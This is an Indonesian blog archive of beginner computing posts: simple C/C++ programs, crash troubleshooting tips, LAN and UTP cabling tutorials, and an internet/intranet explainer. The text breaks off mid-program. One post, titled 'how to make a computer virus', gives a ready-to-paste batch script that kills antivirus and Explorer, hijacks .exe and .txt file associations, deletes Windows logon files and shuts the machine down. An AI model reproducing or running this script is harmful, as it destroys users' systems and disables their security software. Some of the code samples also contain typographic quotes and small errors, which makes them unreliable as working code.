Arsip Penulis

Membuat Aplikasi Konversi Hijriyah Sederhana Dengan C++

#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <string.h>

/*
* Author: Yakoeza911 (Golden Hands Group)
*  THIS SOURCE CODE IS FREE FOR USE IN
*  THE NAME OF ALLAH SUBHANAHU WA TA'ALA
*/

void main() {
// Deklarasi dulu yaa...
int sts = 1;
char *cbulan[] = {"Muharram","Safar","Rabiul Awal","Rabiul Akhir","Jamadil Awal",
"Jamadil Akhir","Rejab","Syaaban","Ramadhan","Syawal","Zulkaedah","Zulhijjah"};
char *gbulan[] = {"Januari","Februari","Maret","April","Mei","Juni","Juli",
"Agustus","September","Oktober","November","Desember" };

do {
int zjd, zl, zn, zj, bulan, hari, tahun, hr, bln, thn;
char input[16];
char *tok;

// sekedar tampilan awal
printf("\n");
printf("                                 MARHABAN..!!\n");
printf("                   APLIKASI KONVERSI MASEHI KE HIJRIAH  KE CINA\n");
printf("               +----------------------------------------------+\n");
printf("                \n");
printf("                   |\\___/|\n");
printf("                   )     (        ...:: Y A K O E Z A :::...\n");
printf("                  =\\     /=       _\n");
printf("                    )===(      __| | ___   ___  _ __  _  _\n");
printf("                   /     \\    / _  |/ _ \\ |__ \\| '_ \\| |/ /\n");
printf("                  |      |   | (_| | (_) |/ _ || | | |   < \n");
printf("                  /       \\   \\__,_|\\___/ |___||_| |_|_|\\_\\\n");
printf("                  \\   x   /\n");
printf("                   \\_____/\n");
printf("                \n");
printf("               +----------------------------------------------+\n\n");

// permintaan input
printf(" Masukkan tanggal masehi (hr/bln/thn): ");
scanf("%s",input);

// ngebagi string,
tok=strtok(input,"/");
hr=atoi(tok);
tok=strtok(NULL,"/");
bln=atoi(tok);
tok=strtok(NULL,"/");
thn=atoi(tok);

printf("\n Tanggal yang Anda masukkan: %d - %s - %d\n", hr, gbulan[bln-1], thn);

// mulai konversi tanggal yang di input
if ((thn > 1582) || ((thn == 1582) && (bln > 10)) || ((thn == 1582) && (bln == 10)
 && (hr > 14))) {
zjd=((1461 * (thn + 4800 + ((bln - 14) / 12))) / 4) + ((367 * (bln - 2 - 12 *
 (((bln - 14) / 12)))) / 12) - ((3 * (((thn + 4900 + ((bln - 14) / 12)) / 100)))
 / 4) + hr - 32075;
} else {
zjd= 367 * thn - ((7 * (thn + 5001 + ((bln - 9) / 7))) / 4) + ((275 * bln) / 9)
 + hr + 1729777;
}

zl=zjd - 1948440 + 10632;
zn=((zl - 1) / 10631);
zl=zl - 10631 * zn + 354;
zj=(((10985 - zl) / 5316)) * (((50 * zl) / 17719)) + ((zl / 5670)) *
 (((43 * zl) / 15238));
zl=zl-(((30 - zj) / 15)) * (((17719 * zj) / 50))-((zj / 16)) * (((15238 * zj)
 / 43)) + 29;
bulan=((24 * zl) / 709);
hari=zl-((709 * bulan) / 24);
tahun=30 * zn + zj - 30;

// output-nya
printf(" Konversi ke Hijriyah menjadi: %d - %s - %d H\n\n", hari,
 cbulan[bulan-1], tahun);

// tanya, mau ngulang
printf(" Coba lagi (0=false; 1=true): ");
scanf("%d",&sts);
if (sts==1) clrscr(); else printf("\n Tekan ENTER untuk keluar...");

} while(sts==1);

getch();
}

Konversi Desimal ke Biner

#include <stdio.h>
#include <conio.h>
#include <iostream.h>
#include <string.h>

void main()
{
int sisa[40],binernya[40];
int a,desimalnya,hasil_bagi,sisa_bagi;
int ulang=0;

clrscr();
cout<<“Masukkan nilai desimal   : “;
cin>>desimalnya;
cout<<“Bilangan Binernya adalah : “;
do
{
hasil_bagi = desimalnya/2;
sisa_bagi = desimalnya%2;
sisa[ulang]=sisa_bagi;
desimalnya=hasil_bagi;
ulang++;
}
while (desimalnya>=1);
if (desimalnya>=1)
{
for (a=0; a<=ulang-1; a++)
{
binernya[a]= sisa[ulang];
}
binernya[ulang]=1;
}
else
{
for (a=0; a<=ulang;a++)
{
binernya[a] = sisa[(ulang-1)-a];
}
binernya[ulang]=0;
}

if (binernya[ulang]==0)
{
for (a=0;a<=ulang-1;a++)
cout<<binernya[a];
}
else
{
for (a=0;a<=ulang;a++)
cout<<binernya[a];
}

getch();
}

Penerapan Fungsi di C++ – Membuat aplikasi konversi dari detik ke Jam : Menit : Detik.

#include <iostream.h>
#include <conio.h>

int jam(int jmldetik) {
int jam;
jam = jmldetik / 3600 ;
return jam;
}

int menit(int jmldetik) {
int menit;
menit = (jmldetik – jam(jmldetik)*3600) / 60 ;
return menit;
}

int detik(int jmldetik) {
int detik;
detik = (jmldetik – jam(jmldetik)*3600 – menit(jmldetik)*60) ;
return detik;
}

int main(void) {
int jmldetik;

cout << “Masukkan waktu : “; cin >> jmldetik;

cout << “\n\nHasil konversi [h:m:s] adalah ” << jam(jmldetik) << “:” << menit(jmldetik) << “:” << detik(jmldetik);

getch();
}

10 sebab komputer mengalami crash dan blue screen

Bagi anda pengguna windows OS mungkin anda pernah mengalami blue screen, crash dan fatal error pesan peringatan yang dimunculkan oleh system atau windows OS saat terjadi masalah pada komputer anda. Apa yang anda harus lakukan dan bagaimana mengatasi masalah ini ??
Berikut dibawah ini 10 penyebab permasalahan diatas :

 

1. Hardware Conflict

Setiap perangkat keras berkomunikasi dengan perangkat keras lainnya melalui interupsi saluran permintaan atau sering disebut IRQ. sebagai contoh keyboard menggunakan IRQ1 dan floppy disk IRQ6 dsb. masing-masing hardware harus memiliki channel tunggal dan tidak boleh ada dua hardware yang menggunakan satu channel IRQ. jika ini terjadi pada saat bersamaan kedua hardware kita digunakan maka komputer akan mengalami crash.
untuk memeriksa apakah perangkat komputer anda mengalami conflict hardware berikut langkah penulusarannya:
# Start-Settings-Control Panel-System-Device Manager#
Seringkali jika sebuah perangkat memiliki masalah ada tanda seru berwarna kuning jika dilihat pada system device.Ini menandakan bahwa driver hardware yang anda instal kurang cocok untuk hardware dan cara terbaik untuk mengatasi masalah ini adalah dengan menginstal kembali Windows anda dan update driver terbaru dari internet untuk setiap hardware yang anda gunakan. atau pemasang hardware anda kurang pas pada dudukannya contohnya : sound card, modem, wifi card atau lan card. Buka chasing cpu jika ada slot card yang kurang pas pada dudukannya rapikan kembali. Catatan: hati2 pada saat anda membuka tutup chasing pastikan arus listrik sudah anda lepaskan dari cpu untuk menghindari sengatan listrik.

2. Bad Ram

Menggunakan ram dengan dua slot berbeda jenis. contoh satu ram menggunakan PC2100 dan yang satu mengunakan PC2700.ini akan menyebabkan ketidakstabilan kerja dari cpu anda.penyelesaian terbaik gunakan dengan PC yang sama misalkan Pc2100 kedua-keduanya bila perlu sama produk buatannya.

Atau ram anda kelihatan kotor buka bersihkan kaki pin dengan penghapus pensil.tanda-tanda ini juga bisa disebabkan oleh ram anda memang sudah mau rusak.Ganti dengan ram baru yang sesuai dengan cpu anda.

3. Bios

Perhatikan setting bios anda jika ragu kembalikan pada default pabrik dengan menekan F9 pada menu bios atau pilih load safe fail default.ganti battery cmos jika tanggal dicpu anda selalu berubah atau setiap kali mau booting minta tekan F1.

4. Hardisk drive

ini disebabkan gelaja awal tanda akan terjadi bad sector pada hardisk jika di biarkan lama kelamaan akan bertambah parah.untuk memelihara hardisk anda agar awet lakukan langkah berikut : dengan defragmenting caranya : #Start-Programs-Accessories-System Tools-Disk Defragmenter # lakukan ini minimal tiga bulan sekali. defragmating ini berfungsi untuk menyusun file yang yang pada hardisk agar tersusun rapi.kosongkan recycle bin dan isi temporary pada system file.terakhir lakukan scandisk :#Start-Programs-Accessories-System Tools-ScanDisk # lakukan ini pada saat anda tidak mengunakan cpu anda.

catatan : jika hardisk anda sudah parah bad sectornya cepat-cepat backup semua data anda, dan ganti hardisk baru.

5. Video Grafic Card

blue screen juga bisa terjadi karena ada kerusakan pada video card karena video card juga punya memory. jika video card sudah tua ganti aja dengan yang baru. hal bisa juga disebabkan kesalahan pada driver update denagan driver yang benar.

6. Virus

Update anti virus anda minimal tiap bulan. jika kerusakan parah disebabkab virus install ulang OSnya.

7. Printer

Tindakan mengirimkan dokumen untuk mencetak menciptakan sebuah file besar, sering disebut sebagai postscript file.

Printer hanya memiliki sedikit memori, yang disebut buffer. Hal ini dapat dengan mudah membuat kelebihan bebanpada memory printer. Mencetak dokumen juga menggunakan cukup banyak power CPU. Ini juga akan memperlambat kinerja komputer.

Jika printer sedang mencoba untuk mencetak karakter tidak biasa, dan dapat membuat crash komputer. Kadang-kadang printer tidak akan bisa mencetak karena kebingungan dalam buffernya. Cara yang baik untuk menghapus data yang akan dicancel printerdalam buffer adalah untuk mencabut printer selama sepuluh detik dan delete file pada printer status.

8. Software

Kemungkinan ada software yang kita install tidak compatible atausupport dengan system yang kita miliki. Uninstall software yang bermasalah dengan cara masuk ke safe mode dengan menekan F8 pada saat booting pergi ke control panel pilih remove program yaitu #Add/Remove programs#catatan: safe software digunakan jika kita tidak bisa booting secara normal pada windows.

9. Overheating

Overhead ini bisa menyebabkan system crash karena suhu prosesor di cpu kita kelebihan panas. ini disebabkan kecepatan kipas pada pendingin prosesor sudah melemah atau bahkan tidak berputar lagi, ganti dengan headsink baru.jika masih normal tu kipas buka lihat pastenya apakah suadah mengering jika ya tambah dengan paste lain dan jangan lupa bersihkan saluran sirkulasi udara pada cpu jika bedu bersihkan dengan kuas.

10. Power Supplay bermasalah

Cpu serring restart sendiri ini bisa disebabkan daya watt power supply udah berkurang ganti dengan yang baru. dan lebih baiok algi gunakan UPS untuk menjaga keamanan system power suply anda dari mati listrik tiba-tiba atau ketinggian voltase dari jaringan PLN a/ listrik karena ini juga bisa menyebabkab cpu anda crash.

Membuat Jaringan (LAN) dengan 2 Komputer

Sudah lama juga ya Dunia Komputer tidak membahas tentang jaringan, setelah dulu pernah sedikit membahas tentang jaringan di artikel Dial-Up dengan Cepat atau Cara mengetahui IP Address. Namun, Dunia Komputer belum pernah membahas tentang cara membuat atau mengkonfigurasi jaringan lokal. Kebetulan, ada seorang sahabat yang menanyakan cara membuat dan mengkonfigurasi jaringan (LAN), maka saya buat saja tutorial ini.

Pada artikel ini, saya akan membahas mengenai cara membuat jaringan (LAN) kecil dengan 2 komputer dengan menggunakan kabel UTP. Untuk itu yang perlu Anda persiapkan adalah kabel UTP dan Jack RJ-45 yang sudah terpasang serta Network card pada masing-masing komputer. Biasanya komputer sekarang sudah dilengkapi dengan Lan Card pada motherboard komputer tersebut. Jika tidak ada Anda bisa membelinya di toko komputer bersama dengan kabel UTP dan Jack RJ-45.

Jika hanya menghubungkan 2 komputer, Anda tidak memerlukan sebuah hub atau switch. Namun, konfigurasi kabelnya yang sedikit berbeda. Jika Anda membuat jaringan untuk 2 komputer tanpa menggunakan hub atau switch, konfigurasi kebal yang digunakan adalah kabel Cross. Sebaliknya jika mengggunakan sebuah hub atau switch, untuk membuat jaringan lebih dari 2 komputer maka konfigurasi kabel yang digunakan adalah kabel Straight. (Silahkan baca Cara Memasang Kabel UTP Tipe Straight dan Cross)

Ok langsung saja saya bahas mengenai cara membuat jaringan (Lan) untuk menghubungkan 2 komputer. Beriikut langkah-langkahnya:

  1. Colokkan kabel UTP yang sudah dikonfigurasi dengan kabel cross ke port LAN card komputer pertama Anda.
  2. Jika Anda menggunakan Windows XP,buka Control Panel »» Network and Internet Connections »» Network Connections.
  3. Jika Menngunakan Windows 7 atau Vista, buka Control Panel. Pada icon Network and Internet, klik tulisan View Networks Status and Task.
  4. Selanjutnya akan muncul jendela Networks and Sharing Center. Pada sisi sebelah kiri jendela ini, klik tulisan Change Adapter Setting
  5. Klik kanan pada Networkd Card Anda dan pilih properties.
  6. Pada jendela Local Area Connection Properties, pilih Internet Protocol (TCP/IP) pada Windows XP atau Internet Protocol Version 4 (TCP/IPv4) pada Windows 7 dan Vista. Kemudian klik tombol properties.
  7. Pada jendela properties yang muncul, pilih opsi Use the followinf IP Address dan isikan dengan 192.168.0.1 pada IP Adrees, 255.255.255.0 pada Subnetmask. Input yang tersisa bisa Anda kosongkan.
  8. Klik OK untuk menyimpan setting dan klik tombol OK juga pada Local Area Connection Properties

Selanjutnya agar kedua komputer tersebut bisa berhubungan, maka Workgroup dari komputer-komputer tersebut haruslah sama. Untuk itu, berikanlah nama Workgroup yang sama pada kedua komputer tersebut. Caranya sebagai berikut:

  1. Untuk pengguna Windows XP, bukalah system Properties dengan mengklik kanan icon My Computer dan pilih properties. Anda juga menekan tombol kombinasi keyboard Win + Break.
  2. Bagi Anda pengguna windows 7, caranya sedikit sama yaitu buka system properties dengan cara seperti pada windows XP. Pada jendela yang muncul klik tulisan Change Setting pada bagian Computer name, domain, and workgroup setting.
  3. Pada jendela System Properties, baik Windows XP, Vista ataupun Windows 7, klik tombol Change.
  4. Di jendela berikutnya berikan nama untuk komputer 1 dengan nama yang diinginkan. Misalkan DK-1. Dan berikan nama dari workgroup Anda. Contonya Dunia Komputer.
  5. Klik OK dan klik OK juga pada jendela System Properties.

Agar perubahan yang baru Anda lakukan berpengaruh pada system maka diperlukan proses restart. Untuk itu retart komputer Anda. Lakukanlah langkah-langkah yang sama dengan diatas untuk melakukan konfigurasi Network Card dan merubah nama komputer serta workgroup pada komputer kedua. Namun, bedanya pada komputer 2, IP address yang diberikan adalah 192.168.0.2. Subnetmask sama yaitu 255.255.255.0. Sedangkan Nama komputer harus berbeda. Misalkan berikan nama DK-2. Namun, workgroup haruslah sama.

Untuk mengetahui apakah kedua komputer tersebut sudah terhubung lakukanlanh ping dari komputer 1 ke komputer 2 atau sebaliknya. Caranya sebagia berikut:

  1. Buka Command Prompt dengan menekan tombol keyboard Win + R.
  2. Pada CMD ketik perintah “ping IP Address”. Ip Addrees diisi dengan IP komputer yang ingin di ping. Jika Anda melakukan ping dari komputer 1, maka IP address diisi dengan IP komputer 2. Begitu juga sebaliknya. Contoh perintah ping dari komputer 1 ke komputer 2:

ping 192.168.0.2

Jika koneksi antar kedua komputer tersebut berhasil maka hasilnya akan seperti ini:

Pinging 192.168.0.2 with 32 bytes of data:

Reply from 192.168.0.2: bytes=32 time<1ms TTL=128
Reply from 192.168.0.2: bytes=32 time<1ms TTL=128
Reply from 192.168.0.2: bytes=32 time<1ms TTL=128
Reply from 192.168.0.2: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.0.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

Jika hasilnya seperti ini:

Pinging 192.168.0.2 with 32 bytes of data:

Request time out
Request time out
Request time out
Request time out

Ping statistics for 192.168.0.2:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss)

Berarti kedua komputer tersebut belum terkoneksi. Cobalah memeriksa apakah kabel sudah terhubung dengan benar atau mungkin saja ada kabel yang putus. Jika semuanya sudah beres dan hasil ping sudah bagus, ini artinya Anda berhasil mengubungkan 2 komputer tersebut.

Demikian tutorial singkat untuk membuat jaringan (LAN) dengan 2 komputer. Tutorial ini masih jauh dari sempurna dan mungkin masih banyak kesalahan yang saya buat. Apabila ada diantara Anda yang lebih paham mengenai jaringan silahkan berkomentar melalui kotak komentar. Salam!

CARA MEMBUAT VIRUS KOMPUTER

Mudah cara untuk membuat kode Virus

Virus ini dapat menyerang:
1. Menhapus, NAVAPSVC.exe
2. Menhapus, Explorer.exe (taskbar dan ikon akan hilang)
3. Menhapus, zonelabs.exe
4. mengubah asosiasi file exe menjadi txt (ketika membuka file exe, akan pergi ke notepad)
5. mengubah asosiasi file txt menjadi mp3 (ketika membuka file txt, maka akan terbuka WinAmp atau multimedia player)
6. Menghapus Login / Logoff Screens

Hanya Copy kode di bawah ini lalu paste Pada Notepad:

title virus is my dna
color 0A
@echo off
set end=md “u cant eascape from me-vishnu”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * andhra pradesh- virus created in karimnagar from jits college
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
assoc .mp3=.vcf
cls
msg * hi dude this is begining.
msg * vishnu attcked the system try to challenge him .
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown

Simpan di C: dengan nama installhack.bat
Selesai

Cara Memasang Kabel UTP Tipe Straight dan Cross

Mungkin banyak dari Anda yang bertanya-tanya, kenapa artikel cara memasang kabel UTP tipe straight dan cross baru saya posting hari ini. Seharusnya cara setting kabel untuk jaringan sudah lebih dahulu saya posting sebelum saya memposting artikel tentang membuat jaringan (LAN) antar 2 komputer. Hal ini disebabkan, pada artikel Dunia Komputer yang tersebut, seorang teman sempat meminta saya untuk memposting artikel tentang setting kabel UTP tipe cross dan straight.

Saya diibaratkan seperti memberi semangkok bakso tanpa memberikan sendok. Malah sedoknya saya suruh beli sendiri di toko komputer. Begitu komentarnya. Saya ngomong komputer koq malah di ajak ngomong bakso. ha..ha.. Ada-adanya tuh sobat Ipin. Terima kasih masukkanya sobat. Saya sangat butuh masukkan seperti itu. Nah untuk menjawab pertanyaan dari sobat Ipin, langsung saja ya saya bahas mengenai cara memasang kabel UTP tipe straight dan cross. Biar artikelnya ga kepanjangan. Nanti Anda malah malas membacanya.

Sebelum Anda praktek, ada beberapa hardware yang perlu Anda siapkan, diantanranya:

  1. Kabel UTP (Unshielded Twisted Pair). Kabel UTP yang biasa dipakai adalah kabel UTP categori 5 (UTP Cat 5). Kenapa? Karena kabel UTP Cat-5 support transfer data hingga 100 Mbps. Kabel ini terdiri atas 8 kecil yang mempunyai warna berbeda-beda. Warna kabel tersebut adalah Orange, Orange Putih, Biru, Biru Putih, Hijau, Hijau Putih, Coklat, dan Coklat Putih.
  2. Kabel UTP

  3. Yang kedua adalah Jack RJ-45. Jack ini mirip dengan jack telepon rumah. Cuma ukurannya yang lebih besar. Jack RJ-45 terdiri dari 8 pin, sesuai dengan jumlah kabel UTP.
  4. Jack RJ-45

  5. Crimping Tools atau Tang Crimping. Hardware yang satu ini mirip dengan tang. Namun, fungsinya tidak seperti tang pada umumnya. Crimping tool ini berguna untuk menjepitkan kabel pada Jack RJ-45.
  6. crimping tools

Semua hardware diatas bisa Anda dapatkan di sebagian besar toko komputer. Harganya pun tidak terlalu mahal.

Kabel UTP Tipe Straight

OK. Sekarang saya kan bahas cara pemasangannya. Yang pertama adalah cara memasang kabel UTP tipe straight. Untuk itu, lakukan langkah-langkah berikut:

  1. Kupas ujung kabel sekitar 1 cm, sehingga kabel kecil-kecil yang ada didalamnya kelihatan.
  2. Pisangkan kabel-kabel tersebut dan luruskan. Kemudian susun dan rapikan berdasarkan warnanya yaitu Orange Putih, Orange, Hijau Putih, Biru, Biru Putih, Hijau, Coklat Putih, dan Coklat. Setelah itu potong bagian ujungnya sehingga rata satu sama lain.
  3. Setelah kabel tersusun, ambil Jack RJ-45. Seperti yang saya katakan tadi Jack ini terdiri dari 8 pin. Pin 1 dari jack ini adalah pin yang berada paling kiri jika posisi pin menghadap Anda. Berurut ke kanan adalah jack 2, 3, dan seterusnya.
  4. Urutan Pin Jack RJ-45

  5. Kemudian masukkan kabel-kabel tersebut ke dalam Jack RJ-45 sesuai dengan urutan tadi yaitu sebagai berikut:
    • Orange Putih pada Pin 1
    • Orange pada Pin 2
    • Hijau Putih pada Pin 3
    • Biru pada Pin 4
    • Biru Putih pada Pin 5
    • Hijau pada Pin 6
    • Coklat Putih pada Pin 7
    • Coklat pada Pin 8.

    Masukkan kabel tersebut hingga bagian ujungnya mentok di dalam jack.

  6. Masukan Jack RJ-45 yang sudah terpasang dengan kabel tadi ke dalam mulut tang crimping yang sesuai sampai bagian pin Jack RJ-45 berada didalam mulut tang. Sekarang jepit jack tadi dengan tang crimping hingga seluruh pin menancap pada kabel. Biasanya jika pin jack sudah menancap akan mengeluarkan suara “klik”.

Sekarang Anda sudah selesai memasang jack RJ-45 pada ujung kabel pertama. Untuk ujung kabel yang kedua, langkah-langkahnya sama dengan pemasangan ujung kabel pertama tadi. Untuk itu, ulangi langkah-langkah tadi untuk memasang Jack RJ-45 pada ujung kabel yang kedua.
Susunan kabel UTP tipe straight bisa Anda lihat pada gambar di bawah:
Kabel UTP Tipe Straight

Kabel UTP Tipe Cross

Cara memasang kabel UTP tipe straight sudah saya jelaskan tadi. Sekarang saya bahas mengenai cara memasang kabel UTP tipe cross. Cara pemasangan kabel UTP tipe cross hampir sama dengan memasang kabel UTP tipe straight. Mengenai teknis pemasanganya sama seperti tadi. Perbedaanya adalah urutan warna kabel pada ujung kabel yang kedua. Untuk ujung kabel pertama, susunan kabel sama dengan susunan kabel UTP tipe straight yaitu:

  • Orange pada Pin 1
  • Orange Putih pada Pin 2
  • Hijau pada Pin 3
  • Biru pada Pin 4
  • Biru Putih pada Pin 5
  • Hijau Putih pada Pin 6
  • Coklat Putih pada Pin 7
  • Coklat pada Pin 8.

Untuk ujung kabel yang kedua, susunan warnanya berbeda dengan ujung pertama. Adapaun susunan warnanya adalah sebagi berikut:

  • Hijau Putih pada Pin 1
  • Hijau pada Pin 2
  • Orange Putih pada Pin 3
  • Biru pada Pin 4
  • Biru Putih pada Pin 5
  • Orange pada Pin 6
  • Coklat Putih pada Pin 7
  • Coklat pada Pin 8.

Susunan kabel tadi bisa Anda lihat pada gambar di bawah.

Kabel UTP Tipe Cross
Hasil akhir kabel UTP tipe cross akan seperti ini:

Hasil Akhir kabel cross
Kesimpulannya adalah jika Anda memasang kabel UTP tipe straight maka susunan warna pada kedua ujung kabel adalah sama. Sedangkan cara pemasangan UTP tipe cross, susunan warna ujung kabel pertama berbeda dengan unjung kabel kedua.

Demikian tutorial cara memasang kabel UTP tipe straight dan tipe cross. Semoga bermanfaat bagi Anda. Apabila Anda menemukan kesalahan pada artikel ini mohon dikoreksi melalui kotak komentar. Terima kasih.

Perbedaan internet dan intranet

Inilah Jawabanya . .

Secara harfiah, internet (kependekan daripada perkataan ‘inter-network’) ialah rangkaian komputer yang berhubung menerusi beberapa rangkaian. Manakala Internet (huruf ‘I’ besar) ialah sistem komputer umum, yang berhubung secara global dan menggunakan TCP/IP sebagai protokol pertukaran paket (packet switching communication protocol). Rangkaian internet yang terbesar dinamakan Internet. Cara menghubungkan rangkaian dengan kaedah ini dinamakan internetworking.intranet :

intranet adalah sebuah jaringan privat (private network) yang menggunakan protokol-protokol Internet (TCP/IP), untuk membagi informasi rahasia perusahaan atau operasi dalam perusahaan tersebut kepada karyawannya. Kadang-kadang, istilah intranet hanya merujuk kepada layanan yang terlihat, yakni situs web internal perusahaan. Untuk membangun sebuah intranet, maka sebuah jaringan haruslah memiliki beberapa komponen yang membangun Internet, yakni protokol Internet (Protokol TCP/IP, alamat IP, dan protokol lainnya), klien dan juga server. Protokol HTTP dan beberapa protokol Internet lainnya (FTP, POP3, atau SMTP) umumnya merupakan komponen protokol yang sering digunakan.

Umumnya, sebuah intranet dapat dipahami sebagai sebuah “versi pribadi dari jaringan Internet”, atau sebagai sebuah versi dari Internet yang dimiliki oleh sebuah organisasi.

perbedaan spesifik nya adalah bahwa intranet adalah jaringan lokal. pc to pc dalam 1 tempat, sedangkan internet perluasan dari intranet

ada lagi penjelasannya:
Internet merupakan hubungan antar berbagai jenis komputer dan jaringan di dunia yang berbeda sistem operasi maupun aplikasinya di mana hubungan tersebut memanfaatkan kemajuan media komunikasi (telepon dan satelit) yang menggunakan protokol standar dalam berkomunikasi yaitu protokol TCP/IP yang berisikan informasi dan sebagai sarana komunikasi data yang berupa suara, gambar, video dan juga teks

Intranet adalah konsep LAN yang mengadopsi teknologi Internet dan mulai diperkenalkan pada akhir tahun 1995. Atau bisa dikatakan Intranet adalah LAN yang menggunakan standar komunikasi dan segala fasilitas Internet, diibaratkan berInternet dalam lingkungan lokal. umumnya juga terkoneksi ke Internet sehingga memungkinkan pertukaran informasi dan data dengan jaringan Intranet lainnya (Internetworking) melalui backbone Internet.

Keuntungan menggunakan Internet dan Intranet saat ini banyak sekali sampai saya gak bisa nuliskan satu-persatu. Contohnya adalah yang sedang Anda lakukan saat ini yaitu mencari informasi, mendapatkan informasi, bertukar informasi lewat Internet.

Stucture – Macro Borland C++

Macro

Preprocessor Directives

Adalah suatu perintah yang termasuk kedalam program, tetapi bukanlah instruksi dari program itu sendiri, tetapi untuk preprocessor. Preprocessor ini dijalankan secara otomatis oleh kompiler, ketika didalam proses penterjemahan (Compile) program berlangsung, didalamnya membuat nilai pembuktian pertama dan menterjemahkan code program didalam kode objek. Didalam penggunaan preprocessor directive selalu dimulai dengan tanda : #

Ada beberapa preprocessor directive, diantaranya adalah :

 

# define

 

Digunakan untuk mendefinisikan suatu nilai tertentu kepada suatu nama konstanta.

Bentuk umum dari preprocessor directive #define ini adalah:

#define nama_konstanta teks

 

Contoh :

Teks

#define A 6

 

Nama_Konstanta

 

Dalam pendeklarasian preprocessor directive #define,

Nama_Konstanta sebaiknya ditulis dengan menggunakan huruf besar, guna untuk membedakannya dengan nama_variabel. Sedangkan Teks merupakan suatu nilai yang diberikan pada nama_konstanta. Teks dapat berupa :

• Numerik                       à #define PI 3.14

• Karakter                       à #define HURUF ‘B’

• String                            à #define JABATAN “INSTRUCTOR”

• Pernyataan                   à #define CETAK (“Borland C++”)

• Fungsi Sederhana         à #define LUAS_KUBUS (n*n)

 

Contoh1:

 

/* ————————– */

/* Program Penggunaan #define */

/* ————————– */

#include<stdio.h>

#include<conio.h>

#include<iostream.h>

#define PI 3.141592

#define L(n) PI*n*n

main()

{

clrscr();

cout<<“Luas Lingkaran dengan : “<<endl;

cout<<“Jari-jari = 5 adalah “<<L(5)<<endl;

cout<<“Jari-jari = 10 adalah “<<L(10)<<endl;

getche();

}

 

Contoh2:

 

/* ————————– */

/* Program Penggunaan #define */

/* ————————– */

#include<stdio.h>

#include<conio.h>

#include<iostream.h>

#define awal {

#define akhir }

#define mulai() main()

#define cetak cout

#define masuk cin

#define hapus() clrscr()

#define tahan() getch()

#define LS_KUBUS (sisi*sisi)

mulai()

awal

int sisi, ls_kubus;

hapus();

cetak<<“Program Penggunaan #define”<<endl<<endl;

cetak<<“Masukkan Nilai Sisi Kubus = “; masuk>>sisi;

ls_kubus = LS_KUBUS;

cetak<<“Luas Kubus adalah : “<<ls_kubus;

tahan();

akhir

 

# include

 

berfungsi untuk memasukkan atau menyertakan file-file header kedalam program yang akan dibuat. Dalam penulisan #include ada dua bentuk penulisan :

#include nama_file_header

atau

#include <nama_file_header>

Pada bentuk penulisan #include mempunyai arti yang berbeda, yaitu :

 

#include nama_file_header

“Pertama kali compiler akan mencari file header yang disebutkan pada directori yang sedang aktif dan apa bila tidak ditemukan akan mencari pada directori dimana file header tersebut berada “.

 

#include <nama_file_header>

“Pertama kali compiler akan mencari file header yang disebutkan pada directori yang ada file headernya, kecuali pada directori yang sedang aktif.

 

Pembuatan File Header

File Header adalah suatu file dengan akhiran .h . File ini sebenarnya berisikan deklarasi fungsi dan definisi konstanta. Selain file-file header standar yang disediakan oleh C++, kita dapat juga membuat file header sediri, dengan cara yang sama seperti membuat file editor. Yang harus diperhatikan pada saat menyimpan file header yang telah dibuat harus digunakan akhiran .h .

 

Buatlah program file heder dibawah ini, kemudian simpan dengan nama : atur.h, pada folder kerja anda folder include

Contoh-1

 

/* atur.h */

#define awal {

#define akhir }

#define mulai() main()

#define cetak cout

#define tampil cprintf

#define masuk cin

#define hapus() clrscr()

#define jika if

#define warna textcolor

#define tahan getche()

 

Buatlah program dibawah ini, kemudian gunakan file header yang sudah anda buat dan simpan dengan nama : sendiri.cpp

 

/* ———————————- */

/* program dengan file header sendiri */

/* ———————————- */

#include<stdio.h>

#include<conio.h>

#include<iostream.h>

#include”atur.h”

mulai()

awal

int a, b, c;

hapus();

warna(4);

tampil(“\nPROGRAM PENJUMLAHAN\n”);

cetak<<endl;

cetak<<“Masukkan Nilai A = “; masuk>>a;

cetak<<“Masukkan Nilai B = “; masuk>>b;

c=a+b;

cetak<<“Hasil dari “<<a<<” + “<<b<<” = “<<c;

tahan;

akhir

 

 

 

Structure

Structure digunakan untuk mengelompokan sejumlah data yang mempunyai tipe data yang berbeda. Variabel-variabel yang membentuk sebuah struktur dinamakan elemen struktur. Struktur sama seperti Record di dalam Bahasa Pemrograman Pascal

Deklarasi Structure

struct nama_tipe_struktur

{

elemen_struktur;

…..

…..

};

 

struct

{

elemen_struktur;

…..

…..

} nama_tipe_struktur;

 

Atau

Contoh1:

 

/* —————————- */

/* Program Penggunaan structure */

/* Nama File : struct1.cpp */

/* —————————- */

#include<stdio.h>

#include<conio.h>

#include<iostream.h>

main()

{

struct

{

char nim[5];

char nama[15];

int nilai;

} mahasiswa;

clrscr();

cout<<“masukan NIM = “; cin>>mahasiswa.nim;

cout<<“masukan Nama = “;cin>>mahasiswa.nama;

cout<<“masukan Nilai Akhir = “; cin>>mahasiswa.nilai;

cout<<“\n\nData Yang di Inputkan adalah : \n\n”;

cout<<“NIM = “<<mahasiswa.nim<<endl;

cout<<“Nama = “<<mahasiswa.nama<<endl;

cout<<“Nilai Akhir = “<<mahasiswa.nilai<<endl;

getch();

}

 

Nested Structure

 

Contoh2:

/* ———————————– */

/* Program Penggunaan Nested structure */

/* ———————————– */

#include<stdio.h>

#include<conio.h>

#include<iostream.h>

main()

{

struct dtmhs

{

char nim[9];

char nama[15];

};

struct dtnil

{

float nil1;

float nil2;

};

struct

{

struct dtmhs mhs;

struct dtnil nil;

} nilai;

clrscr();

//-> masukan data

cout<<“masukan NIM = “; cin>>nilai.mhs.nim;

cout<<“masukan Nama = “; cin>>nilai.mhs.nama;

cout<<“masukan Nilai UTS = “; cin>>nilai.nil.nil1;

cout<<“masukan Nilai UAS = “; cin>>nilai.nil.nil2;

cout<<endl;

//-> menampilkan hasil masukan

